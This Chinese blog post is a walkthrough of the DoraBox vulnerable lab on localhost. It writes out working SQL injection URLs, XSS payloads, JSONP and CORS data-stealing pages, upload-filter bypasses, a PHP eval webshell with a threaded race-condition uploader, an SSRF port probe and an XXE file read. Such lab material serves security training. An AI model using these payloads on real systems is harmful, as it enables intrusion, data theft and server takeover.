DoraBox 漏洞练习平台

 

 项目地址:

https://github.com/gh0stkey/DoraBox

 

SQL注入

 

SQLi 数字型

判断表中有多少列

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=1%20order%20by%201&submit=submit

依次增大order by 后面的值,直到报错,报错的前一个数为字段数

 

可以确定union注入的字段为3,此时我们构造注入语句

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,2,3&submit=submit

 

可以看到2,3列是显示出来的,所以在这两处插入注入语句

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,concat(user(),%27|%27,database()),3&submit=submit

 

确定数据库为pentest以后,去暴出表名

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()&submit=submit

 

确定表名以后,去暴出列名

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27account%27&submit=submit

 

根据之前的列名和表名,可构造查询字段内容

http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION SELECT 1,2,concat_ws('|',id,rest,own) from account&submit=submit

 

 

SQLi 字符型  

 

字符型与数字型的区别在于变量是否用单引号包裹,当不闭合单引号时,没有查询结果。

http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox%20and%201=1&submit=submit

 

闭合单引号,成功执行插入的语句

http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox' and '1'='1&submit=submit

 

接下来的操作,与数字型相同,只需要记得需要闭合单引号

http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox' and '1'='2' union select 1,2,3'&submit=submit

 

剩下的与数字型相同

 

 

SQLi 搜索型  

 

 搜索型同时包含单引号和百分号,都需要闭合

http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%27%20and%20%271%27=%271&submit=submit

 

 

 这里引入了注释符,避免受到后面%‘影响

http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=1--+&submit=submit

 

 

 构造显示显性字段

http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=2 union select 1,2,3--+&submit=submit

 

 

接下来,如同前两种一样,暴出数据信息。

http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=2 union select 1,concat_ws('|',id,title,content),3 from news--+&submit=submit

 

 

XSS跨站

 

XSS 反射型

xss反射型,输入的代码经过服务器端处理后返回页面,造成代码执行。

http://127.0.0.1/DoraBox/xss/reflect_xss.php?name=%3Cscript%3Ealert(/reflect_xss/)%3C/script%3E&submit=submit

 

这时候我们注意到页面先是返回了string(37) “ 然后执行了注入代码。

那么为什么会返回这个呢,我们看下源码

DoraBox\xxs\reflect_xss.php

 

下面说一下我的理解,$p 创建了一个对象Func,方法是GET,参数是name,$p -> con_html生成表单,也就是我们一开始看到的页面。

关键的是echo $p -> con_function('var_dump',$name);,这里con_function是作者造的回调函数,作用是执行作者传参进去的内容,当相应的函数执行。

那么con_function('var_dump',$name) 的作用等价于var_dump($name),var_dump在处理字符串的时候会以如下形式string(字符串长度) "字符串内容"。

DoraBox\class\function.class.php

 

 

 

XSS 存储型

 

存储型xss作者设计的很有意思,采用直接向当前页面追加内容的方式实现的,也就是说,如果你测试很多次的话,这个页面会越来越大。

所以在name输入框提交<script>alert(/reflect_xss/)</script>,再次刷新页面即可触发注入代码。

 

根据上面得分析,能理解这段代码执行了file_put_contents(__FILE__,$name,FILE_APPEND)采用追加的方式写入当前页面。

 

 

 

XSS DOM型

http://127.0.0.1/DoraBox/xss/dom_xss.php?name=%3Cscript%3Ealert(%2FDOM_xss%2F)%3C%2Fscript%3E&submit=submit

 

 

进行这个xss学习的时候,可以发送,xss代码执行后没有在源码显示出来,这可能就是DOM型xss的特点

var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");

(^| )代表开始

( |$)代表结束

以&或者$结尾的字符串

这个正则是寻找&+url参数名字=值+&

&可以不存在。

 

window.location.search.substr(1).match(reg);

(1) location是包含了相关的url的信息,它是windown的一部分。

(2) search是一个可以查询的属性,可以查询?之后的部分。

(3) substr(1)是为了去掉第一个?

(4) match()是你要匹配的部分 后面可以是正则表达式。

(5) return unescpe(r[2]) 返回的值 一个数组。

(6) 这里是开始匹配,找到了返回对应url值,没找到返回null。

 

后面的document.write 实际上就是DOM的写方法,把输入的内容写出来

 

 

 

CSRF

 

JSONP劫持

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。

当某网站听过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。

直接访问链接,页面返回json格式的数据。

http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test

 

那么劫持后应该是可以在其他域下获得受害者的json信息,下面构造一个劫持页面,将劫持的信息,alert出来

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
        {
            alert(result.address);
        }
</script>
<script type="text/javascript" src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test"></script>
</body>
</html>

 

成功获得了json中的address内容

 

这个是作者提供的POC,在POC目录里面,可以获取全部内容

<!--jsonp.html-->
<
script>function vulkey(data){alert(JSON.stringify(data));}</script> <script src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=vulkey"></script>

 

 

 

 

CORS跨域资源读取

 

跨源资源共享 (CORS) 定义了在一个域中加载的客户端 Web 应用程序与另一个域中的资源交互的方式,需要浏览器和服务器共同支持才能实现。

可以看到其源码就是Access-Control-Allow-*系列,这个就是CORS的配置

 

下面就可以构造页面获取信息

<!DOCTYPE html>
<html>
<body>
div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://127.0.0.1/DoraBox/csrf/userinfo.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

 

 

成功获取到了数据

 

 

文件包含

 

 

任意文件包含

 

如果有看源码的习惯的话,应该能注意到作者已经准备好了一个txt.txt

 

 

代码中使用include 直接包含的,所以可以之前读取

http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit

 

 

 

可以成功包含执行了txt.txt的php代码

 

 

目录限制文件包含

 

实际上这个与上一个的区别不大,区别就在加了一个./,感觉没什么影响

 

 

这里我包含了phpstudy目录里面的phpinfo.php

http://127.0.0.1/DoraBox/file_include/include_1.php?file=../../phpinfo.php&submit=submit

 

 

 

 

文件上传

 

任意文件上传

 

第一个没什么可说的,任意文件上传,随便传就行

 

 

JS限制文件上传

 

前端限制后缀名,上传jpg文件,拦包改后缀绕过

 

 

 

这里可以看到成功上传

 

 

 

MIME限制文件上传

上传php文件,显示类型不正确,实际上MIME验证就是检测Content-type字段值的,直接更改上传数据包中的Content-type即可绕过

 

修改Content-type值为图片的格式(image/jpeg),成功绕过

 

 

 

 

扩展名限制文件上传   

 

 

采用后端验证后缀名的方式,这个方式有很多,但是会有环境限制,实际环境中需要进行测试使用

 

服务端扩展名验证绕过方法:

 

1、找黑名单扩展名的漏网之鱼 - 比如上面就漏掉了 asa 和 cer 之类

 

2、可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类

 

3、特别文件名构造 - 比如发送的 http 包里把文件名改成 help.asp. 或 help.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改, 然后绕过验证后,会被 windows 系统自动去掉后面的点和空格。

 

4、IIS 或 nginx 文件名解析漏洞

比如 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php

这里注意网上所谓的 nginx 文件名解析漏洞实际上是 php-fpm 文件名解析漏洞,详见 http://www.cnbeta.com/articles/111752.htm

 

5、0x00 截断绕过 - 这个是基于一个组合逻辑漏洞造成的

 

6、双扩展名解析绕过攻击(1) - 基于 web 服务的解析逻辑

 

比如上传x.php.rar等文件

 

7、双扩展名解析绕过攻击(2) - 基于 web 服务的解析方式

 

如果在 Apache 的 conf 里有这样一行配置

AddHandler php5-script .php

这时只要文件名里包含.php

即使文件名是 test2.php.jpg 也会以 php 来执行

 

 

针对本文的代码,最简单的就是使用更改大小写上传即可,或者使用上面的多种方法测试。

本例中,我用的.asp.的方式,成功绕过上传的

 

 

 

 

 

 

内容限制文件上传

 

同样

 

文件上传过程中图像大小及相关信息检测,通常我们会使用getimagesize()函数,此函数会返回一个数组。

Array

(

    [0] => 2573

    [1] => 16188

    [2] => 1

    [3] => width="2573" height="16188"

    [channels] => 3

    [mime] => image/gif

)

使用getimagesize()函数检测,会判断文件是否是一个有效的图片文件,如果不是则会报错,我们可以使用文件头欺骗来绕过。

 

利用copy命令合成一个图片马,上传

也可以直接添加图片文件头的方式绕过

 

 

 

 

代码/命令执行

 

任意代码执行

 

利用assert任意代码执行……,分明就是一个webshell呀

http://127.0.0.1/DoraBox/code_exec/code.php?code=phpinfo();&submit=submit

 

 

好了,下面我要表演自己黑自己了…

 

成功连接上了code.php

 

 

任意命令执行

 

利用exec命令执行

http://127.0.0.1/DoraBox/code_exec/exec.php?command=whoami&submit=submit

有回显,没什么可说的。

 

 

SSRF

 

SSRF

 

http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://www.baidu.com/img/bd_logo1.png&submit=submit

 

 

这里执行一个对端口的请求,显示计算机拒绝,可以用了判断端口开放

http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://127.0.0.1:6789&submit=submit

 

 

其他

 

条件竞争-支付

 

这个不太理解作者的目的,我认为作者条件竞争的地方可能在于钱数加减这里,但是作者这个逻辑是希望只减钱不加钱还是什么情况不大理解。

1、 查看程序逻辑,查询打印出account中,rest和own字段

2、 判断提交的钱数是否小于拥有的钱数,小于则执行查询完成支付交易

3、 大于则弹出支付失败

 

再来看作者的POC,作者起了25个线程,一共提交50次1块钱

 

运行程序后,交易正常执行,不知漏洞处在哪里了

 

 

 

条件竞争-上传

 

上传这块的条件竞争比较明显,程序逻辑处理是先将文件上传上来,然后检查后缀,后缀不在允许列表里,删除文件

 

而竞争的地方,是先删除还是先执行,关键就在于赶在删除之前执行上传的文件

这是我们上传的内容,打开info.php 写入一句话木马

<?php fputs(fopen("info.php", "w"), '<?php @eval($_POST["key"]);?>'); ?>

通过并发可以实现在上传成功未执行到删除代码的时候,访问执行,生成info.php

 下面是利用作者得POC

import requests
import threading
import os

class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

        self.url = 'http://127.0.0.1/DoraBox/race_condition/uploads/key.php' #上传的文件地址
        self.uploadUrl = 'http://127.0.0.1/DoraBox/race_condition/upload.php' #上传文件的地址

    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file info.php success.')
            os._exit(0)

    def _upload(self):
        print('upload file...')
        file = {'myfile': open('key.php', 'r')} #本地脚本木马
        requests.post(self.uploadUrl, files=file)

    def run(self):
        while True:
            for i in range(10):
                self._upload()
                self._get()

if __name__ == '__main__':
    threads = 50    

    for i in range(threads):
        t = RaceCondition()
        t.start()

    for i in range(threads):
        t.join() 

 

 

任意文件读取

 

与文件包含的不同在于这个不能执行,只能读取内容

 

http://127.0.0.1/DoraBox/others/file_read.php?filename=..%2Frace_condition%2Fkey.php&submit=submit

 

 

 

 

XXE

 

xxe的原理总是整不明白,就知道是通过引入外部实体来进行脚本执行和文件读取

 

问题出在对xml的解析上面,我利用之前积累的代码测试几次都不成功--!

 

后来我看到原作者的操作,成功复现了,但是原理方面还需要在理解理解

<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<user><username>&xxe;</username><password>admin</password></user>

 

 

posted @ 2019-04-29 16:04  时光不改  阅读(9583)  评论(0编辑  收藏  举报